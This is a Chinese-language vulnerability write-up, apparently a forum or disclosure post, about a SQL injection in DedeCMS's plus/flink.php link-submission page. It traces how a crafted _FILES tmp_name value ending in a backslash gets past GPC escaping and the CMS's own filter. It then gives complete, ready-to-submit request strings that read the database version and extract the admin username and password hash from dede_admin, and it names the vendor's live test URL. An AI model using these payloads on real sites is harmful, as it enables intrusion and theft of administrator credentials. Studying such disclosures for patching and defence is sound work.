这里开始过滤得很完整，往下看
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
[/p]if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}[p=25, null, left][color=rgb(0, 0, 0)]
我看再看：uploadsafe.inc.php
[/p]//29行
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);[p=25, null, left][color=rgb(0, 0, 0)]
看到这里，我笑了。
这不是能绕过 GPC的节奏么。
好吧，随便找一个能添加数据的地方
于是找到了
plus\flink.php
虽然都经过 htmlspecialchars
我们看看：
htmlspecialchars(string,quotestyle,character-set)
可选。规定如何编码单引号和双引号。
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
默认情况下仅编码双引号。
这里不是重点，不过也是能利用的条件之一，用于绕过dede自带的ids。
构造webname 值为：
[/p]&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\[p=25, null, left][color=rgb(0, 0, 0)]
这里解释一下，经过GPC后 webname 变为 pass\\
经过刚才 uploadsafe.inc.php 的函数后
webname 变为 pass\
插入到SQL语句中就变成了
[/p]INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck) VALUES('50','http://','pass\','[p=25, null, left][color=rgb(0, 0, 0)]
即吃掉了后面的 ' ，从而实现绕过GPC。
不过ExecuteNoneQuery不支持错误回显，那我们就构造好，让他显示出来吧。于是后面的logo函数就变成：
logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`
ischeck 为1即绕过审核，结果直接显示出来。
完整参数为：
查版本：
[/p]Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\[p=25, null, left][color=rgb(0, 0, 0)]
查密码：
[/p]Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\[p=25, null, left][color=rgb(0, 0, 0)]
验证码字段自己修改。。。[/p]漏洞证明：
[p=25, null, left][color=rgb(0, 0, 0)]
[/p]
[p=25, null, left][color=rgb(0, 0, 0)]
[/p][p=25, null, left][color=rgb(0, 0, 0)]
官方测试地址：
http://help.dedecms.com/plus/flink.php
[/p][p=25, null, left][color=rgb(0, 0, 0)]
[/p]
